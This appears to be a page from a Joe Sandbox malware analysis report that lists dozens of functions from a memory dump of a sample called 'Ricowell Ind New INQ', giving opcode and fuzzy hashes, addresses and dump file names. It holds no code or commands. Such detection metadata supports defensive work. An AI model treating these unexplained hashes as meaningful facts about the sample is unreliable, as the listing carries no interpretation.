API ID:
String ID:
API String ID:
Opcode ID: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
Instruction ID: 3bf8bdd7e06abfa4742466e21c52e568f3757c35194e3101e9e5dfb5e0d48d8e
Opcode Fuzzy Hash: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
Instruction Fuzzy Hash: 55D0123610024CEFCB02DF44C850D5A772AFFD8710F109019FD1A076108A35FD62DA50

Function 378A332D Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd7a0cba40542002f5a7f393242cee2f830ad860d51489f93f91c1395f24a2a
Instruction ID: a643ae8fd7bf3bc6a77496a40de038f607059db1f7b758f96f499e7281531671
Opcode Fuzzy Hash: 2cd7a0cba40542002f5a7f393242cee2f830ad860d51489f93f91c1395f24a2a
Instruction Fuzzy Hash: F9C08CB85452806AEB1A4F04DD10B283654AB29B56F8001ACAE201DCA1C7AEE8018608

Function 37880670 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f322a3ca3a75a15032ed1aea1e35d659c770c91524f9ec55eaf48a423b7bcda
Instruction ID: 70439957a71fe9b2b06bb10afed7f9f3db7d6a30973579399b1070d0e98c7c1c
Opcode Fuzzy Hash: 8f322a3ca3a75a15032ed1aea1e35d659c770c91524f9ec55eaf48a423b7bcda
Instruction Fuzzy Hash: AEC04C397419418FDF05CF5AC284F4977E4BB65754F1504D0E815CBB21D624EC00CA11

Function 378C4570 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8c133e6b45a39074ee43fe3626b9ec2e3c743dec43c92ed8598b75a9c8225ff
Instruction ID: 2838d7e8fb9c30ca1695a1d641aff7527ddb71b72d5b95bb6a991ea5579330cb
Opcode Fuzzy Hash: b8c133e6b45a39074ee43fe3626b9ec2e3c743dec43c92ed8598b75a9c8225ff
Instruction Fuzzy Hash: F59002A160114052454071584904406600557F1301391C95AA0544561DC628885DB269

Function 378C4260 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f7eac509ed2982e7741c4cc4df32b747dac84329d4752328b6af00c245ab1f5
Instruction ID: 5db73e72e12a77f1fbc626515124092ce0c3c3e7599cc8630e9f241f6f922221
Opcode Fuzzy Hash: 6f7eac509ed2982e7741c4cc4df32b747dac84329d4752328b6af00c245ab1f5
Instruction Fuzzy Hash: 1A90027160544022954071584984546400557F0301B51C856E0414555DCA24895E7361

Function 378C2FB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54c7f1ccb84c39b67983660b96edcf440ec7d7ade5fcb07d79ce0f9494404e2c
Instruction ID: bf816c9ec014b0c41dea88d811aac33db41b0b411ced0898e75be3aa647f927e
Opcode Fuzzy Hash: 54c7f1ccb84c39b67983660b96edcf440ec7d7ade5fcb07d79ce0f9494404e2c
Instruction Fuzzy Hash: 6290026124104812D54071588514707000687E0601F51C856A0014555EC626896D76B1

Function 378C2F00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a91df26cc365b2fd588a9db513a51a2cef747461ba4a37484c5c0c2bcaf81ae
Instruction ID: 407912dc2fc14fa898c01b86aeda530c4314ec3d867aa72163c0a5bc76235b8e
Opcode Fuzzy Hash: 4a91df26cc365b2fd588a9db513a51a2cef747461ba4a37484c5c0c2bcaf81ae
Instruction Fuzzy Hash: 4390026121184052D60065684D14B07000547E0303F51C95AA0144555DC92588697521

Function 378C2F30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c5c6cd2f9c6ebb23c4e75f00760b27cb66cf6dbe456b2d0fdaa7a7bbf6a82d5
Instruction ID: 82a9e77c0ebbd9f2c5aea1c76b3fe9b40048146d9678f531688168291e33305c
Opcode Fuzzy Hash: 2c5c6cd2f9c6ebb23c4e75f00760b27cb66cf6dbe456b2d0fdaa7a7bbf6a82d5
Instruction Fuzzy Hash: EF90026120148452D54062584904B0F410547F1202F91C85EA4146555DC925885D7721

Function 378C2E80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30ca515f13d4566fc10e69455fdc764ef1a0b314dfee34c1276e89327cafacf2
Instruction ID: 6df5f97ceba8e00275ee3d3fa8693da2ea9a53f561e254830d12997d006db1bf
Opcode Fuzzy Hash: 30ca515f13d4566fc10e69455fdc764ef1a0b314dfee34c1276e89327cafacf2
Instruction Fuzzy Hash: 159004F131104053D504715C4504707004547F1301F51CC57F3144555DC53DCC7D7135

Function 378C2EC0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3ed3111c43d27975f91ffd3a141c4454c486f2a961d065bd5ca9d26dbe1189f
Instruction ID: 799927595f4ea6446cab5e4c50c9500d20d423a325c9032ec45a1e9ca23cf9e3
Opcode Fuzzy Hash: e3ed3111c43d27975f91ffd3a141c4454c486f2a961d065bd5ca9d26dbe1189f
Instruction Fuzzy Hash: 0990027120144412D50061584908747000547E0302F51C856A5154556FC675C8997531

Function 378C2ED0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ca28faa1a23c0c545c3bfe177d6d1b608c997d3b6c44c4287055ded48a4c2a4
Instruction ID: 7a1a35f6701a132dc414a12ef0628e6377542b59311a38ef4999a588f5e44dde
Opcode Fuzzy Hash: 4ca28faa1a23c0c545c3bfe177d6d1b608c997d3b6c44c4287055ded48a4c2a4
Instruction Fuzzy Hash: BC9002616010405245407168894490640056BF1211751C966A0988551EC569886D7665

Function 378C2E00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 343c3b1ea91ea30d360645072fd2109be771b5b4666129ea5a481733760be4c5
Instruction ID: 39001e9b8dfb2681b91902ca8f2732248cc6d3c53b84b021874cd59b9814dfe0
Opcode Fuzzy Hash: 343c3b1ea91ea30d360645072fd2109be771b5b4666129ea5a481733760be4c5
Instruction Fuzzy Hash: 779002A120144413D54065584904607000547E0302F51C856A2054556FCA398C597135

Function 378C2E50 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbe8c443d1209fba9b066cda17edd094e049a65ec9195063ff01e00aafa5e132
Instruction ID: 634d064d4ee1b38bb7b813b2f18c9b5bccf7ce9930ceaf0c92bb3a5db5e4a977
Opcode Fuzzy Hash: fbe8c443d1209fba9b066cda17edd094e049a65ec9195063ff01e00aafa5e132
Instruction Fuzzy Hash: 849002A134104452D50061584514B06000587F1301F51C85AE1054555EC629CC5A7126

Function 378C2DA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e93e04c81134929e88970a9fbe678fea90a91a608e2112455ae2dd6dd77b1459
Instruction ID: 94abcb4d7fbeb17c5c987d3d535f0a917d8b0303f79882907428c655ef44ed49
Opcode Fuzzy Hash: e93e04c81134929e88970a9fbe678fea90a91a608e2112455ae2dd6dd77b1459
Instruction Fuzzy Hash: 5890026160104512D50171584504616000A47E0241F91C867A1014556FCA35899AB131

Function 378C2DC0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4423ead30e1d9329bdbde321978eaa81b37de64230f70fc1d145c917889ce834
Instruction ID: e438cfbe00ccaa0368506daaf682a2527e8e8cf98313b5a92ab0a390fd03de12
Opcode Fuzzy Hash: 4423ead30e1d9329bdbde321978eaa81b37de64230f70fc1d145c917889ce834
Instruction Fuzzy Hash: 969002B120104412D54071584504746000547E0301F51C856A5054555FC6698DDD7665

Function 378C2D50 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac6cd85d61e507c71f65baaddb57d5c24e9d9bbdbdd4994c092d89bf2d4ef563
Instruction ID: e0682ce5849b3c2635a23ad1c62524525a1ef3d391e7472902200a2a15ce7f6e
Opcode Fuzzy Hash: ac6cd85d61e507c71f65baaddb57d5c24e9d9bbdbdd4994c092d89bf2d4ef563
Instruction Fuzzy Hash: 3A90026130104412D50261584514606000987E1345F91C857E1414556EC635895BB132

Function 378C3C90 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d80d57d53a659e3d9f9b1bceabafb10bae8131b365236d9461b90d4eaef70ff3
Instruction ID: 9587d933256e1bdb21ff740ca91c4905e87e849b8f8247ce35c3af559f509dc1
Opcode Fuzzy Hash: d80d57d53a659e3d9f9b1bceabafb10bae8131b365236d9461b90d4eaef70ff3
Instruction Fuzzy Hash: 5990027520104412D91061585904646004647E0301F51DC56A0414559EC66488A9B121

Function 378C2CD0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6cdb16afe9c99fa0f4db53a747c959892ea46f0322610f6302550cf0e9bc22f
Instruction ID: 0602e045ceaf5727e799115981f24254d76c170f7f4b7f8307e74fde2c1cd5e9
Opcode Fuzzy Hash: c6cdb16afe9c99fa0f4db53a747c959892ea46f0322610f6302550cf0e9bc22f
Instruction Fuzzy Hash: B690027124104412D54171584504606000957E0241F91C857A0414555FC6658A5EBA61

Function 378C2CF0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81b082ea67a419e2ab2d5bbf477142960b6ab82db29134c9a2a54b88364ac845
Instruction ID: bdb890adb0223fd47ac15860bc5bda3fe91004d05e93fbd9fbb9882e05ad431d
Opcode Fuzzy Hash: 81b082ea67a419e2ab2d5bbf477142960b6ab82db29134c9a2a54b88364ac845
Instruction Fuzzy Hash: 1F900261242081625945B1584504507400657F0241791C857A1404951DC536985EF621

Function 378C2C10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5782ea4aa15b99742bbc0536c3c7e93a6bd740782ff7d32326dcc04864887bf
Instruction ID: 4ad5f7fc9d6fb7f173ac92406cca9083ad5e57261164d974731665f29e3dbf59
Opcode Fuzzy Hash: f5782ea4aa15b99742bbc0536c3c7e93a6bd740782ff7d32326dcc04864887bf
Instruction Fuzzy Hash: 5A90027120104413D50061585608707000547E0201F51DC56A0414559ED66688597121

Function 378C2C20 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0558bb51b41aa82c7a9fc9d3752a320a76c67041476c622f6ed4e9f8bbfbb7c1
Instruction ID: 97235307691b1dc63581442cddc93500510c77711bac3a2a4f726d53eb67fa7f
Opcode Fuzzy Hash: 0558bb51b41aa82c7a9fc9d3752a320a76c67041476c622f6ed4e9f8bbfbb7c1
Instruction Fuzzy Hash: E790026120508452D50065585508A06000547E0205F51D856A1054596EC6358859B131

Function 378C3C30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba4f190b3a624d7105913485bb0e837e0c5ef2ccf891c334763d5b7b4ed483aa
Instruction ID: f970b6cd2c99f59dee04b8f7c8941878a3373ac5b575e02cdc5a66b5070ae291
Opcode Fuzzy Hash: ba4f190b3a624d7105913485bb0e837e0c5ef2ccf891c334763d5b7b4ed483aa
Instruction Fuzzy Hash: 8090027120204152994062585904A4E410547F1302B91DC5AA0005555DC92488697221

Function 378C2C30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef860974df0aaa6bc2571a3cab3af6571ea41d95f8311d013898d71a2cdba3fa
Instruction ID: e085f9b71247e1aded55314cfc26172fb6ad3f1f160f7d598c1d27de5cd4c57e
Opcode Fuzzy Hash: ef860974df0aaa6bc2571a3cab3af6571ea41d95f8311d013898d71a2cdba3fa
Instruction Fuzzy Hash: 7B90026921304012D5807158550860A000547E1202F91DC5AA0005559DC925886D7321

Function 378C2C50 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9196fc05c9aff3b5492925c7662066701906e2fbc6a9c6889bd9bd8792599498
Instruction ID: f5dab042514f61d89c0cf220c3f52eac4d1efe46490c2c2c5b7e80bfd333d7ea
Opcode Fuzzy Hash: 9196fc05c9aff3b5492925c7662066701906e2fbc6a9c6889bd9bd8792599498
Instruction Fuzzy Hash: 3490026130104013D54071585518606400597F1301F51D856E0404555DD925885E7222

Function 378C2B80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e4e0bb931a5f55b709b80511d46c84cfbb21872cb45620dbd7a369b00d5f369
Instruction ID: c3905e690d55f5087a0b202ba11eec31a78e56d26b37e3d50200b9b17baa1270
Opcode Fuzzy Hash: 5e4e0bb931a5f55b709b80511d46c84cfbb21872cb45620dbd7a369b00d5f369
Instruction Fuzzy Hash: 9290027120104852D50061584504B46000547F0301F51C85BA0114655EC625C8597521

Function 378C2BE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a8d5308c9ad874ff265dfdc44e95c457243ec161130845f588a2e6e43eafbeb
Instruction ID: e18619d26b897bb7727c3994b05870170263ff32a775feedf052bed2dc967352
Opcode Fuzzy Hash: 6a8d5308c9ad874ff265dfdc44e95c457243ec161130845f588a2e6e43eafbeb
Instruction Fuzzy Hash: A090026160504412D54071585518706001547E0201F51D856A0014555EC6698A5D76A1

Function 378C2B00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e9e47d4945db4e5b2d932631e3ee7f4a9bce90f841875141631edb092e46f8f
Instruction ID: a0d8cec12fc2a7b52c340b5a8d8964d679d5c0cff4f0e0fd06717dd94380e004
Opcode Fuzzy Hash: 7e9e47d4945db4e5b2d932631e3ee7f4a9bce90f841875141631edb092e46f8f
Instruction Fuzzy Hash: 1590027120508852D54071584504A46001547E0305F51C856A0054695ED6358D5DB661

Function 378C2B10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52ffcc629bf7a4a7fcaefff687fd70187aab0c56dd8ebf6f7de7873eb3826931
Instruction ID: bc552fd0c317bb0ffcaee3f95d26182e3e74a91acba5d9d10b47fac808c4f601
Opcode Fuzzy Hash: 52ffcc629bf7a4a7fcaefff687fd70187aab0c56dd8ebf6f7de7873eb3826931
Instruction Fuzzy Hash: 0690027120104812D5807158450464A000547E1301F91C85AA0015655ECA258A5D77A1

Function 378C2AA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 489cfe6b1d280a9a52e5767815474d3d2b1e5a058f3a9e5644f6760f72d0fbad
Instruction ID: 5603a81a26ccdf523900096161f4d47f40b492462ef4046579d4430c575dbb77
Opcode Fuzzy Hash: 489cfe6b1d280a9a52e5767815474d3d2b1e5a058f3a9e5644f6760f72d0fbad
Instruction Fuzzy Hash: C290027120104812D50461584904686000547E0301F51C856A6014656FD67588997131

Function 378C2AC0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 905cc5797baed59aacda03b7410ff761aea354a1c3f8bc851f0583ccded0b7c3
Instruction ID: effdf144037ea536b832c00f22b38aea0d27a958a3d77cfd644e40a78dba35f2
Opcode Fuzzy Hash: 905cc5797baed59aacda03b7410ff761aea354a1c3f8bc851f0583ccded0b7c3
Instruction Fuzzy Hash: 5990027160504812D55071584514746000547E0301F51C856A0014655EC7658A5D76A1

Function 378C2A10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3116b2b427aadd7bb6cf8515d833aa08320c7b56b8e8bc6677c1e3b67145ae93
